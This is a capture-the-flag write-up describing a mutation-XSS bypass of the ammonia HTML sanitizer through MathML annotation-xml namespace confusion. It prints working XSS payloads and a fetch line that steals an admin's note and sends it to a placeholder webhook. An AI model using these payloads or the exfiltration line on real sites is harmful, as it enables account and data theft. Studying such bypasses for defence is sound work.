tl;dr
- XSS + HTML sanitization library (ammonia) bypass
- Namespace confusion in ammonia using custom allowed extra tags(math & style)
Challenge points: 253
No. of solves: 15
Solved by: Z_Pacifist, lu513n, alfin, ma1f0y, L0xm1
Challenge Description
Admittedly, that was a little embarrassing. We’ve fixed that issue though and have become truly unpwnable now (for real). Do it, you wont.
link: https://awesomenotes2.online/
Analysis
Taking a look at the given source files, there are 3 endpoints of note:/create - create a note
/report - report a note
/api/note/:note - view note
note - admins note is in /api/note/flag
The following function handles the creation of notes:
1 | async fn upload_note( |
Whatever html content we provide is passed through the ammonia library, which is
a whitelist-based HTML sanitization library, designed to prevent cross-site scripting, layout breaking, and clickjacking caused by untrusted user-provided HTML being mixed into a larger web page.
Along with the default allowed tags and attributes of ammonia, a custom list of TAGS
which are math tags, and the style tag is also allowed using .add_tags
.
These extra tags being allowed hint at Mutation XSS which can be achieved by using namespace confusion involving the mathml
and html
namespace.
Exploitation
Initially, we created a testing setup locally just to inspect how different tags interact with each other when the clean
function of ammonia is run against it.
1 | // list of TAGS |
We started off by throwing a few mXSS payloads for other libraries such as DOMpurify including one from https://portswigger.net/research/bypassing-dompurify-again-with-mutation-xss which uses namespace confusion to achieve XSS. Another thing to note is that the svg
tag is disallowed by default. Many of the other mXSS payloads make use of the svg
namespace also but the one in the blog above includes tags (mostly) allowed in this case and Hence we can take a closer look at it.
<math><mtext><table><mglyph><style><!--</style><img title="--><img src=1 onerror=alert(1)>">
The blog provides a pretty good explanation about the payload which can be summarized in the following points:
- Anything within the
<style>
tag within thehtml
namespace is treated as plaintext but withinmathml
namespace is treated as html tags. <mtext>
withinmathml
context makes parsers treat everything within it in thehtml
namespace.- The
<mglyph>
tag is special because it’s in the MathML namespace if it’s a direct child of a MathML text integration point. All other tags are in the HTML namespace by default. - Table gets reordered in the DOM which makes
<mglyph>
a direct child of MathML text and hence<style>
is now in MathML namespace.
The above payload does not work for us as the <mglyph>
tag is not present in the allowlist.
With the above concepts in mind, we can take a quick look at the part of the source code of ammonia that deals with checking namespaces of parent and child elements - check expected namespace function
1 | ... |
Here, we find something interesting. "mi" | "mo" | "mn" | "ms" | "mtext" | "annotation-xml"
, These are the tags which ammonia checks when switch from mathml to svg/html namespace is detected. Among these, annotation-xml
is of particular interest as we had come across it in another blog on mXSS - https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/
Quoting from the above blog,
HTML integration points are:
math annotation-xml if it has an attribute called encoding whose value is equal to either text/html or application/xhtml+xml
svg foreignObject
svg desc
svg title
This mentions an attribute encoding
which can have different values producing different functionality in how contents within it are parsed.
Quoting from https://w3c.github.io/mathml/spec.html#mixing_elements_annotation_xml:
If the annotation-xml has an encoding attribute that is (ignoring case differences) text/html or annotation/xhtml+xml then the content is parsed as HTML and placed (initially) in the HTML namespace.
Otherwise, it is parsed as foreign content and parsed in a more XML-like manner (like MathML itself in HTML) in which /> signifies an empty element. Content will be placed in the MathML namespace.
This basically translates to:
- If there is
encoding="text/html"
, content will be placed in thehtml
namespace. - If there is no attribute, content will be placed in the
mathml
namespace.
Testing this out using the test setup we have, it can be observed that ammonia considers the attribute and treats contents within the annotation-xml
tag according to whatever specified but in the “clean” html that it returns, it strips the attribute. Using this, final payload can be created.
mXSS Explanation
<math><annotation-xml encoding="text/html"><style><img src=x onerror="alert(1)"></style></annotation-xml></math>
The above payload can be used to pop an alert on the page. To understand why this works, we can first look at the html that ammonia returns when the payload is parsed.
1 | Input - <math><annotation-xml encoding="text/html"><style><img src=x onerror="alert(1)"></style></annotation-xml></math> |
encoding="text/html"
treats the style
tag in the html namespace and hence, content inside it is treated as plaintext and no filtering is done on it but when the attribute is removed, style
tag is now in the mathml
namespace where tags within the style
tag are considered as html tags.
Trying out the output in a live-dom viewer such as https://software.hixie.ch/utilities/js/live-dom-viewer/ shows the difference between how the DOM views the input and the output.
Final steps
Now that we have XSS, we just have to make the admin visit the /api/note/flag
endpoint and send the content to a domain controlled by us.
For that we can use
1 | fetch(`/api/note/flag`).then((r)=>r.text()).then((r)=>location=`<webhook>?a=`+encodeURIComponent(r)) |
Final payload:
1 | <math><annotation-xml encoding="text/html"><style><img src=x onerror="eval(atob(`<base64 payload`))"></style></annotation-xml></math> |